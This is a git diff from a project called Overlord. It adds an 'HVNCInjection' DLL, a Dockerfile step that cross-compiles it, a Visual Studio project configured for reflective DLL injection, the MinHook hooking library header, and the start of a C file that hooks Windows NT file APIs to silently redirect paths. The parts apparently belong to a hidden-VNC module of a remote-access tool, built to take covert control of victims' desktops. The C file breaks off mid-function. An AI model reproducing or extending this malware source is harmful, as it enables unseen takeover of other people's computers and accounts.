diff --git a/.gitignore b/.gitignore index 864308c..a7a0c35 100644 --- a/.gitignore +++ b/.gitignore @@ -22,6 +22,7 @@ bin/ *.exe *.test *.out +*.dll # Certificates (auto-generated) certs/ @@ -48,4 +49,433 @@ Overlord-Server/data/ # Release packaging output release/ -stress/ \ No newline at end of file +stress/ + +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates +*.env + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ + +[Dd]ebug/x64/ +[Dd]ebugPublic/x64/ +[Rr]elease/x64/ +[Rr]eleases/x64/ +bin/x64/ +obj/x64/ + +[Dd]ebug/x86/ +[Dd]ebugPublic/x86/ +[Rr]elease/x86/ +[Rr]eleases/x86/ +bin/x86/ +obj/x86/ + +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +[Aa][Rr][Mm]64[Ee][Cc]/ +bld/ +[Oo]bj/ +[Oo]ut/ +[Ll]og/ +[Ll]ogs/ + +# Build results on 'Bin' directories +**/[Bb]in/* +# Uncomment if you have tasks that rely on *.refresh files to move binaries +# (https://github.com/github/gitignore/pull/3736) +#!**/[Bb]in/*.refresh + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* +*.trx + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Approval Tests result files +*.received.* + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.idb +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +# but not Directory.Build.rsp, as it configures directory-level build defaults +!Directory.Build.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio 6 workspace and project file (working project files containing files to include in project) +*.dsw +*.dsp + +# Visual Studio 6 technical files +*.ncb +*.aps + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +**/.paket/paket.exe +paket-files/ + +# FAKE - F# Make +**/.fake/ + +# CodeRush personal settings +**/.cr/personal + +# Python Tools for Visual Studio (PTVS) +**/__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +#tools/** +#!tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog +MSBuild_Logs/ + +# AWS SAM Build and Temporary Artifacts folder +.aws-sam + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +**/.mfractor/ + +# Local History for Visual Studio +**/.localhistory/ + +# Visual Studio History (VSHistory) files +.vshistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +**/.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 5bb3542..a0f2955 100644 --- a/Dockerfile +++ b/Dockerfile @@ -63,6 +63,19 @@ RUN bun install --frozen-lockfile COPY Overlord-Server/ ./ COPY Overlord-Client/ ./Overlord-Client/ +# Copy HVNCInjection source and build script for cross-compilation +COPY HVNCInjection/ ./HVNCInjection/ +COPY build-hvnc-dll.sh ./build-hvnc-dll.sh + +# Attempt to cross-compile HVNCInjection DLL with mingw. +# Requires MinHook source in HVNCInjection/src/minhook/. +# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat +# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll. +RUN chmod +x build-hvnc-dll.sh && \ + HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \ + (test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \ + echo "WARNING: HVNCInjection DLL not available" + # Create necessary directories RUN mkdir -p certs public data diff --git a/HVNCInjection/HVNCInjection.vcxproj b/HVNCInjection/HVNCInjection.vcxproj new file mode 100644 index 0000000..5dfe7b1 --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj @@ -0,0 +1,286 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC} + HVNCInjection + Win32Proj + + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + false + v143 + false + Unicode + + + DynamicLibrary + v143 + Unicode + + + DynamicLibrary + v143 + MultiByte + false + + + DynamicLibrary + false + v143 + false + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/HVNCInjection/HVNCInjection.vcxproj.filters b/HVNCInjection/HVNCInjection.vcxproj.filters new file mode 100644 index 0000000..335b9fc --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/HVNCInjection/src/MinHook.h b/HVNCInjection/src/MinHook.h new file mode 100644 index 0000000..8b16ce0 --- /dev/null +++ b/HVNCInjection/src/MinHook.h @@ -0,0 +1,185 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) +#error MinHook supports only x86 and x64 systems. +#endif + +#include + + // MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a Hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char* WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c new file mode 100644 index 0000000..c2ae662 --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.c @@ -0,0 +1,868 @@ +//===============================================================================================// +// NT API Hooking Implementation +//===============================================================================================// +#ifdef __cplusplus +extern "C" { +#endif + +#include "NtApiHooks.h" +#include "NtApiHooksConfig.h" +#include "MinHook.h" +#include +#include + +#pragma comment(lib, "libMinHook.x64.lib") +#pragma comment(lib, "ntdll.lib") + + // Global search and replacement strings (filled from parameter) + static WCHAR g_SearchString[512] = { 0 }; + static WCHAR g_ReplacementString[512] = { 0 }; + static BOOL g_HooksInitialized = FALSE; + static HANDLE g_LogFile = INVALID_HANDLE_VALUE; + + // Helper function to log debug info + void LogDebug(const WCHAR* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const WCHAR newline[] = L"\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + void LogDebugA(const char* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)strlen(message); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const char newline[] = "\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + // Helper function for case-insensitive wide string comparison + int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) { + for (SIZE_T i = 0; i < count; i++) { + WCHAR c1 = s1[i]; + WCHAR c2 = s2[i]; + + // Convert to uppercase for comparison + if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A'; + if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A'; + + // Also handle backslash vs forward slash + if (c1 == L'/') c1 = L'\\'; + if (c2 == L'/') c2 = L'\\'; + + if (c1 != c2) return (c1 < c2) ? -1 : 1; + } + return 0; + } + + // Helper function to normalize NT paths - skip \??\ prefix if present + const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) { + if (!path || !adjustedLength) return path; + + SIZE_T length = *adjustedLength; + + // Check for \??\ prefix (NT object namespace for DOS devices) + if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') { + *adjustedLength = length - 4; + return path + 4; + } + + // Check for \Device\ or \DEVICE\ prefix + if (length >= 8 && + (wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) { + // Don't adjust - these are device paths, not file paths + return path; + } + + return path; + } + + // NT API typedefs + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, * PUNICODE_STRING; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + LONG Status; + PVOID Pointer; + }; + ULONG_PTR Information; + } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation = 10, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileRenameInformationEx = 65, + FileRenameInformationExBypassAccessCheck, + FileMaximumInformation + } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + + // NT API function pointers + typedef LONG NTSTATUS; + + typedef NTSTATUS(NTAPI* pNtCreateFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + + typedef NTSTATUS(NTAPI* pNtOpenFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ); + + typedef NTSTATUS(NTAPI* pNtDeleteFile)( + POBJECT_ATTRIBUTES ObjectAttributes + ); + + typedef NTSTATUS(NTAPI* pNtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ); + + typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ); + + // Original function pointers + pNtCreateFile OriginalNtCreateFile = NULL; + pNtOpenFile OriginalNtOpenFile = NULL; + pNtDeleteFile OriginalNtDeleteFile = NULL; + pNtSetInformationFile OriginalNtSetInformationFile = NULL; + pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL; + pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL; + pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; + pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; + + // Helper function to check if path needs redirection + BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { + if (!path || length == 0) return FALSE; + + SIZE_T searchLen = wcslen(g_SearchString); + if (searchLen == 0 || length < searchLen) return FALSE; + + // Normalize the path (strip \??\ prefix if present) + SIZE_T normalizedLength = length; + const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511; + wcsncpy_s(tempPath, 512, normalizedPath, copyLen); + LogDebug(L"[NeedsRedirection] Checking normalized path: "); + LogDebug(tempPath); + LogDebug(L"[NeedsRedirection] Against search string: "); + LogDebug(g_SearchString); + } + + if (normalizedLength < searchLen) return FALSE; + + // Search for the search string in the normalized path (case-insensitive) + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] MATCH FOUND at position "); + WCHAR posStr[32]; + wsprintfW(posStr, L"%zu", i); + LogDebug(posStr); + } + return TRUE; + } + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] NO 